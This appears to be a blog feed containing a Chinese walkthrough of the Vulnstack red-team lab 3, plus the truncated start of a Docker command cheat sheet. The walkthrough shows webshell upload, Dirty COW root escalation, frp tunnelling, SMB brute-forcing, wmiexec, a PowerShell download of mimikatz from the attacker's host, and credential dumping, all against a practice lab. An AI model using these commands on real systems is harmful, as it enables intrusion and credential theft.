<content type="html"><![CDATA[<h1 id="红日安全红队靶场(三)一次简单的内网渗透"><a href="#红日安全红队靶场(三)一次简单的内网渗透" class="headerlink" title="红日安全红队靶场(三)一次简单的内网渗透"></a>红日安全红队靶场(三)一次简单的内网渗透</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">本文首发在个人公众号:白帽技术与网络安全</span><br></pre></td></tr></table></figure><h2 id="靶场介绍及配置"><a href="#靶场介绍及配置" class="headerlink" title="靶场介绍及配置"></a>靶场介绍及配置</h2><p>这是红日团队的第三套靶场(靶场下载地址见文末),本次靶场渗透涉及<strong>敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透</strong>等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和两台Linux机器。</p><p>靶场拓扑如下:</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image002.png" alt="img"></p><p><strong>网卡配置</strong></p><p>在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image004.jpg" alt="img"></p><h2 id="服务器渗透"><a href="#服务器渗透" class="headerlink" title="服务器渗透"></a>服务器渗透</h2><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p><strong>端口扫描</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Nmap -T4 -sC -sV 192.168.1.110</span><br></pre></td></tr></table></figure><p>端口扫描发现外网服务器开启了22、80、3306端口,初步判断开启了SSH、HTTP和MySQL的数据库服务。既然这样那就先访问一下80端口</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image006.jpg" alt="img"></p><p>这里首先访问一下80端口,发现使用的是joomla CMS。(推荐一个谷歌插件:Wappalyzer)</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image008.jpg" alt="img"></p><p>知道是joomla了,那就使用msf的auxiliary/scanner/http/joomla_version模块扫一下看看版本。Joomla版本探测显示版本为3.9.12。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image012.jpg" alt="img"></p><p>知道版本号之后就可以在网上的各大漏洞库(文末有常用的漏洞库链接)中搜索一下,是否存在可以利用的漏洞。由于唯一可用的rce需要管理员的账户和密码遂继续搜集信息。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image014.jpg" alt="img"></p><p><strong>目录扫描</strong></p><p>接下来使用dirsearch进行目录扫描,发现了网站的后台==/administrator/==和一个==configuration.php~==文件</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image016.jpg" alt="img"></p><p>先访问一下robots.txt,发现的信息和扫描结果差不多</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image018.jpg" alt="img"></p><p>访问网站的后台发现一个登录框,使用burp suite抓包简单跑了一下,没跑出来。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image020.jpg" alt="img"></p><p>接下来继续看一下配置文件都有什么</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image022.jpg" alt="img"></p><p>在配置文件中发现了数据库的账号和密码testuser/cvcvgjASD!@,于是使用工具连接数据库,成功!</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image024.jpg" alt="img"></p><p>拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的。由于加密算法未知,于是还得求助于搜索引擎。不得不说,Google yyds! 根据joomla的官方文档成功的添加一个用户admin2/serect。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image026.jpg" alt="img"></p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image028.jpg" alt="img"></p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image030.jpg" alt="img"></p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image032.jpg" alt="img"></p><p>使用刚刚添加的用户成功登录到了后台</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image034.jpg" alt="img"></p><h3 id="Getshell"><a href="#Getshell" class="headerlink" title="Getshell"></a>Getshell</h3><p>在后台寻找到一处可以上传php的地方,直接上传我祖传的冰蝎马~</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image036.jpg" alt="img"></p><p>连接成功</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image038.jpg" alt="img"></p><p>试了一下无法执行命令,发现disable_functions禁用了一些可以执行命令或代码的函数。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image040.jpg" alt="img"></p><p>Disable_functions</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image042.jpg" alt="img"></p><p>虽然无法执行命令但是可以浏览文件,那就先翻一翻文件。最后在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image044.jpg" alt="img"></p><p>由于服务器开启了SSH服务于是尝试登录一下,成功!经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image046.jpg" alt="img"></p><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>使用ftp上传提权脚本</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image048.jpg" alt="img"></p><p>执行提权脚本</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image050.jpg" alt="img"></p><p>提权成功。常用的脏牛提权脚本是生成firefart用户,我这里用的脚本直接覆盖了root用户的密码,将root用户的密码修改成了自己设定的123456。</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image052.jpg" alt="img"></p><p>双网卡</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image054.jpg" alt="img"></p><h3 id="代理搭建"><a href="#代理搭建" class="headerlink" title="代理搭建"></a>代理搭建</h3><p>为了方便内网渗透在这里搭建一个frp代理</p><p>frpc.ini配置如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = 192.168.1.128 #kali的IP地址</span><br><span class="line">server_port = 17000</span><br><span class="line">token = 1q2w3e </span><br><span class="line">pool_count = 5 </span><br><span class="line">protocol = tcp #协议类型</span><br><span class="line">health_check_type = tcp</span><br><span class="line">health_check_interval_s = 100</span><br><span class="line">[test] </span><br><span class="line">remote_port = 10000 #代理的端口</span><br><span class="line">plugin = socks5 #使用的协议</span><br><span class="line">use_encryption = true #是否加密</span><br><span class="line">use_compression = true</span><br></pre></td></tr></table></figure><p>frps.ini配置如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">bind_addr = 0.0.0.0 #绑定的ip,为本机</span><br><span class="line">bind_port = 17000 #绑定的端口</span><br><span class="line">dashboard_addr = 0.0.0.0 #管理地址</span><br><span class="line">dashboard_port = 27500 #管理端口</span><br><span class="line">dashboard_user = root #管理的用户名</span><br><span class="line">dashboard_pwd = toor #管理用户的密码</span><br><span class="line">token = 1q2w3e #客户端服务端连接的密码</span><br><span class="line">heartbeat_timeout = 90 #心跳超时时间</span><br><span class="line">max_pool_count = 5 #最大同时连接数</span><br></pre></td></tr></table></figure><p>在kali上启动frp server</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./frps -c frps.ini</span><br></pre></td></tr></table></figure><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image056.jpg" alt="img"></p><p>在linux上启动frp client</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./frpc -c frpc.ini</span><br></pre></td></tr></table></figure><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image060.jpg" alt="img"></p><p>在本机上配置proxifier</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image062.jpg" alt="img"></p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image064.jpg" alt="img"></p><p>测试代理</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image066.jpg" alt="img"></p><h2 id="内网渗透"><a href="#内网渗透" class="headerlink" title="内网渗透"></a>内网渗透</h2><h3 id="主机探测"><a href="#主机探测" class="headerlink" title="主机探测"></a>主机探测</h3><p>使用MSF的==auxiliary/scanner/smb/smb_version==模块扫内网的存活主机,发现内网存在域名为TEST的三台域内主机,分别是</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">win7 192.168.93.30/24</span><br><span class="line">不知名机器 192.168.93.20/24</span><br><span class="line">Windows server 2012 R2 192.168.93.10/24</span><br><span class="line">(那台不知名机器其他大佬测的时候都是server 2008)</span><br></pre></td></tr></table></figure><h3 id="口令爆破"><a href="#口令爆破" class="headerlink" title="口令爆破"></a>口令爆破</h3><p>接下来使用smb_login模块爆破smb服务。在这一步,网上好多大佬都说使用了自己top10000的字典跑出了密码。非常巧,在我的top10000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~)</p><p>跑出了两台机器192.168.93.30/192.168.93.20的密码都是123qwe!ASD</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image068.jpg" alt="img"></p><p>既然拿到了密码,接下来就可以使用wmiexec获取一个shell。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.\wmiexec_windows.exe administrator:123qwe!ASD@192.168.93.20</span><br><span class="line"></span><br><span class="line"># WMI的全名为“Windows Management Instrumentation”。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。从Windows 98开始,Windows操作系统都支持WMI。利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。</span><br></pre></td></tr></table></figure><p>执行ipconfig /all发现dns服务器为192.168.93.10,初步判断域控就是这台Windows 2012</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image070.jpg" alt="img"></p><p>看了一下进程列表没有发现杀软进程</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image072.jpg" alt="img"></p><h3 id="横向移动"><a href="#横向移动" class="headerlink" title="横向移动"></a>横向移动</h3><p>因为内网主机不出网所以将mimikatz上传到Linux机器上,在Linux上使用python启动一个http服务。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m SimpleHTTPServer 8080</span><br></pre></td></tr></table></figure><p>在Windows server2008上使用powershell下载到本地并执行,这里有一个问题就是使用wmiexec获取到的只是一个半交互的shell,所以mimikatz执行的结果需要保存在日志中方便读取。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.100:8888/kiwikatz.exe','C:\mimikatz.exe')</span><br></pre></td></tr></table></figure><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image074.jpg" alt="img"></p><p>执行后查看日志发现抓到了域控的明文口令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe log privilege::debug sekurlsa::logonpasswords</span><br></pre></td></tr></table></figure><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image076.jpg" alt="img"></p><p>使用wmiexec连接域控</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image078.jpg" alt="img"></p><p>最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image080.jpg" alt="img"></p><p>Capture the flag! 收工!</p><p><img src="%E7%BA%A2%E6%97%A5%E5%AE%89%E5%85%A8%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%89%EF%BC%89%E4%B8%80%E6%AC%A1%E7%AE%80%E5%8D%95%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F.assets/clip_image082.jpg" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>总的来说这个靶场环境的渗透并不算难,但是在第一次做的时候依旧花费了一天的时间。在这之后又按照网上各位大佬渗透思路做了几次,每一次都有一些新的收获。</p><h2 id="相关链接"><a href="#相关链接" class="headerlink" title="相关链接"></a>相关链接</h2><p>靶场地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://vulnstack.qiyuanxuetang.net/vuln/detail/5/</span><br></pre></td></tr></table></figure><p>漏洞库</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.exploit-db.comhttps://www.pwnwiki.org/http://wiki.peiqi.tech/https://github.com/EdgeSecurityTeam/Vulnerability</span><br></pre></td></tr></table></figure><p>浏览器插件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?utm_source=chrome-ntp-icon</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 内网渗透 </tag>
</tags>
</entry>
<entry>
<title>Docker常用命令速查</title>
<link href="2021/07/23/Docker%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E9%80%9F%E6%9F%A5/"/>
<url>2021/07/23/Docker%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E9%80%9F%E6%9F%A5/</url>
<content type="html"><![CDATA[<h1 id="Docker常用命令速查"><a href="#Docker常用命令速查" class="headerlink" title="Docker常用命令速查"></a>Docker常用命令速查</h1><h2 id="1-查看镜像"><a href="#1-查看镜像" class="headerlink" title="1. 查看镜像"></a><strong>1. 查看镜像</strong></h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker images</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker image ls</span><br></pre></td></tr></table></figure><h2 id="2-查看容器"><a href="#2-查看容器" class="headerlink" title="2.查看容器"></a><strong>2.查看容器</strong></h2><p>查看运行中的容器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker container ls</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker ps</span><br></pre></td></tr></table></figure><p>添加-a参数,查看所有已经创建的容器,包括已经停止的容器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker ps -a</span><br></pre></td></tr></table></figure><h2 id="3-搜索镜像"><a href="#3-搜索镜像" class="headerlink" title="3.搜索镜像"></a>3.搜索镜像</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker search tomcat</span><br></pre></td></tr></table></figure><p>search可以搜索指定名称和仓库的镜像。</p><h2 id="3-从dockerhub拉取镜像"><a href="#3-从dockerhub拉取镜像" class="headerlink" title="3.从dockerhub拉取镜像"></a><strong>3.从dockerhub拉取镜像</strong></h2><p>这里以redis镜像为例,我们选择基于alpine基础镜像的版本,体积较小</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull redis:6.0.9-alpine3.12</span><br></pre></td></tr></table></figure><h2 id="4-运行镜像(创建容器)"><a href="#4-运行镜像(创建容器)" class="headerlink" title="4.运行镜像(创建容器)"></a><strong>4.运行镜像(创建容器)</strong></h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --rm --name myredis -p 6380:6379 redis:6.0.9-alpine3.12 redis-server</span><br></pre></td></tr></table></figure><p>通过上面的命令,我们创建了redis的容器,可以通过<code>docker ps</code>查看到运行中的容器。</p><p>参数讲解:</p><p><strong>–detach , -d</strong> 容器后台运行,并打印容器ID</p><p><strong>–rm</strong> 如果已经有同名的容器,移除同名容器</p><p><strong>–name</strong> 给容器起个名字</p><p><strong>–publish , -p</strong> 端口映射,将宿主机的端口(冒号左边)和容器内的端口(冒号右边)映射</p><p>倒数第二个参数<code>redis:6.0.9-alpine3.12</code>是要执行的镜像,倒数第一个参数<code>redis-server</code>代表要执行的具体指令</p><p>docker run 的更多参数,请参考官方文档</p><h2 id="5-进入运行的容器"><a href="#5-进入运行的容器" class="headerlink" title="5.进入运行的容器"></a><strong>5.进入运行的容器</strong></h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="built_in">exec</span> -i -t myredis /bin/bash</span><br></pre></td></tr></table></figure><p>倒数第二个参数是容器名(也可以用容器ID),倒数第一个参数是要执行的具体指令</p><p>docker exec 的更多参数,请参考官方文档</p><h2 id="6-停止容器运行"><a href="#6-停止容器运行" class="headerlink" title="6.停止容器运行"></a><strong>6.停止容器运行</strong></h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker stop myredis</span><br></pre></td></tr></table></figure><p>这里也可以使用容器ID,一次停止多个容器,可以在后面用空格分隔</p><h2 id="7-删除容器"><a href="#7-删除容器" class="headerlink" title="7.删除容器"></a>7.删除容器</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker rm 容器id或者容器名称</span><br></pre></td></tr></table></figure><h2 id="8-复制文件进出容器"><a href="#8-复制文件进出容器" class="headerlink" 